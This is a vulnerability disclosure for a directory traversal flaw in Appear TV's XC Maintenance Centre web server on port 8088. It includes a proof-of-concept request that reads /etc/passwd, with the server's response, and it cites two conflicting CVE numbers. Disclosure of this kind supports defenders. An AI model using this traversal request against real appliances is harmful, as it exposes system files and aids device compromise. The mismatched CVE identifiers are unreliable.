Appear TV XC Hardware Maintenance Centre suffers from a directory traversal vulnerability.
1c1b1d52d1d18ad5702c3a09e4ccf1f4CVE-2018-7539 Directory Traversal on Appear TV Maintenance centre 8088
Discoverer: Arqiva Threat Team
Person Karl W
Product: Appear TV XC Hardware Maintenance Centre on port TCP/8088
Vendor : Appear TV
Code Versions: All Version
Vulnerability: Directory Traversal
Impact: It is possible to read OS files with specially crafted URL
Attack Type: Remote
CVE: CVE-2017-12544
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Description
The web server (fuzzd/0.1.1) running the Maintenance Center on port TCP/8088 allows an attacker to use a specially crafted URL to read Operating System (OS) files.
This vulnerability was used in the full compromise of the appliance.
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Proof code:
Request:
GET /../../../../../../../../../../../../etc/passwd
Host: x.x.x.x:8088
User-Agent: curl/7.56.1
Accept: */*
Response:
HTTP/1.1 200 OK
Content-Length: 1110
Content-Type: text/plain; charset=utf-8
Cache-Control: max-age=3600
Server: fuzzd/0.1.1
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
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[Reference]
https://www.appeartv.com/xc5000xc5100/
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vendor confirmed and acknowledged the vulnerability
Advised work around by disabling Maintenance Centre when not in use.
Advised not able to fix.
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Regards
Karl W
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